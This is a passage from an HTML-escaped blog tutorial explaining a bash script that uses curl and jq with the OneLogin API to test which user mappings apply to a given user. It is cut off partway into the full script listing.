\&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;compact&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;output&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.[] |{id: .id,name: .name,position: .position}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The last line, the“do“, starts an inner loop on the “map” variables extracted from each line of output from the previous curl-jq juggernaut.&lt;&#x2F;p&gt;
&lt;p&gt;This curl-jq piped command grabs all mappings and parses out just their id (number), their name, and the position (line number).&lt;&#x2F;p&gt;
&lt;p&gt;Now that we have the name, rank, and serial number of every mapping and we are prepared to examine them one at a time, inside this “do” statement.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;parse-the-mapping-information&quot;&gt;Parse the Mapping Information&lt;&#x2F;h4&gt;
&lt;p&gt;The first item is to parse out the mapping information from JQ into variables that we can address individually. We start my playing with the magic field separator, but the field separator we don’t want to be permanent, we want it only to be active long enough to parse the JQ data. So we place the IFS option on the same line where we split the JQ data into three temporary variables, v1, v2, and v3:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;IFS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; read&lt;&#x2F;span&gt;&lt;span&gt; v1&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span&gt; v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$map&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unfortunately, the JQ data has a label and data. I use the a “cut” command to blow away the chaff and save only the seed, putting the mapping identifier number into variable “mid” and “nm”:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;mid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  nm&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; $v2&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next, I use the “tr” command again to strip away an end curly brace combined with the cut command when grabbing the position number. The final “echo” statement just prints the information message to the screen.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; $v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; tr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;  Checking the mapping #$pos, name &amp;#39;$nm&amp;#39; (id:$mid)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We are now ready to run the API to evaluate the user and API to see if it will apply.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;check-the-uuser-and-the-mapping&quot;&gt;Check the Uuser and the Mapping&lt;&#x2F;h4&gt;
&lt;p&gt;We have one more use of JQ. It is called into action when we call the dry run mapping so that we can see if the evaluation is “true” or “false”. The actual API endpoint called is in the mappings section, it is called ‘dryrun’. We are required to pass in the user’s identifier number as the data for the POST request.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span&gt;Check&lt;&#x2F;span&gt;&lt;span&gt; to&lt;&#x2F;span&gt;&lt;span&gt; see&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; mapping&lt;&#x2F;span&gt;&lt;span&gt; applies&lt;&#x2F;span&gt;&lt;span&gt; to&lt;&#x2F;span&gt;&lt;span&gt; user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Content-Type: application&#x2F;json&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Authorization: Bearer $TK&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; POST&lt;&#x2F;span&gt;&lt;span&gt;\&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;mappings&#x2F;$mid&#x2F;dryrun \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;[$uid]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;dev&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt;jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.[] |{x: .mapped}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The data results will echo back the user information which we would already have, so we use JQ to grab the true&#x2F;false value in the “mapped” portion.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;anticlimactic-ending-the-results&quot;&gt;Anticlimactic Ending: the Results&lt;&#x2F;h4&gt;
&lt;p&gt;Now that we have the true&#x2F;false data in the “x” variable the ending is pretty obvious. We print some sort of statement to indicate the results.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span&gt;Output&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; results&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; of&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; test&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;true&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;     YES&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  elif&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;false&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;     no&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;wrap-up-and-close-the-loops&quot;&gt;Wrap Up and Close the Loops&lt;&#x2F;h4&gt;
&lt;p&gt;The results are on the screen but we have to close one loop with a “done” statement. We also should print out a message in an else statement to indicate that a real user could not be found.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Could not resolve user $1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;the-end&quot;&gt;The End&lt;&#x2F;h3&gt;
&lt;p&gt;That’s it! It’s not a complex script but there is a lot of processing packed in there to make human readable output thanks to the power of the JQ utility.&lt;&#x2F;p&gt;
&lt;p&gt;Hopefully this blog and this script is useful for you, made your life better, and you learned something in the process.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-full-script&quot;&gt;The Full Script&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;gt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; EMAIL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Enter your API Client ID: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; ID&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;sp&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Enter your API Client Secret: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; SSSH&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$EMAIL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
